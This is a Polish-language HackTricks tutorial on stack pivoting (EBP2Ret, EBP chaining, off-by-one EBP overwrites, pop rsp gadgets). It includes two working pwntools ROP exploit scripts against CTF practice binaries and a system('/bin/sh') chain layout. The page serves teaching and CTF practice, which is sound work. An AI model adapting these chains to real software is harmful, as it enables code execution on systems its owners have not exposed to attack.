179 lines
7.0 KiB
Markdown

# Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łączenia wykonania wielu funkcji poprzez staranne użycie rejestru EBP oraz sekwencji instrukcji `leave; ret`.
Przypominając, **`leave`** zasadniczo oznacza:
```
mov esp, ebp
pop ebp
ret
```
I jako że **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontrolowanie poprzez kontrolowanie stosu.
### EBP2Ret
Ta technika jest szczególnie przydatna, gdy możesz **zmienić rejestr EBP, ale nie masz bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stos, który wskazuje na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawione na to skonstruowane miejsce, a następna operacja `pop` zmniejsza ESP o 4, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Zauważ, że **musisz znać 2 adresy**: Ten, na który ESP ma wskoczyć, gdzie będziesz musiał zapisać adres, na który wskazuje ESP.
#### Budowa Exploita
Najpierw musisz znać **adres, w którym możesz zapisać dowolne dane/adresy**. ESP będzie wskazywać tutaj i **wykona pierwszy `ret`**.
Następnie musisz znać adres używany przez `ret`, który **wykona dowolny kod**. Możesz użyć:
- Ważnego [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** po którym następują **4 bajty śmieci** i adres `"/bin/sh"` (x86 bits).
- Adresu **`jump esp;`** gadgetu ([**ret2esp**](ret2esp-ret2reg.md)) po którym następuje **shellcode** do wykonania.
- Jakiegoś [**ROP**](rop-return-oriented-programing.md) łańcucha.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Możliwe byłoby wykorzystanie tych 4B do ustawienia **drugiego fałszywego EBP** i kontynuowania kontroli nad wykonaniem.
#### Exploit Off-By-One
Istnieje specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach.
### **Łańcuchowanie EBP**
Dlatego umieszczając kontrolowany adres w wpisie `EBP` na stosie i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to:
- **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave`
- **`system()`** -> Wywołane przez `ret`
- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa
- **`&("/bin/sh")`**-> Parametr dla `system`
W zasadzie w ten sposób można łańcuchować kilka fałszywych EBP, aby kontrolować przepływ programu.
To jest jak [ret2lib](ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać zwycięską funkcję. To jest końcowy ładunek z tej strony:
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
```
## EBP jest bezużyteczny
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego każdy exploit działający poprzez kontrolowanie EBP zasadniczo się nie powiedzie, ponieważ nie ma rzeczywistego efektu.\
Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana.
- **Nie zoptymalizowane:**
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
- **Optymalizowane:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## Inne sposoby kontrolowania RSP
### **`pop rsp`** gadget
[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i był **leak ze stosu**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<reg>, rsp gadget
```
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
```
## Odniesienia
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
{{#include ../../../banners/hacktricks-training.md}}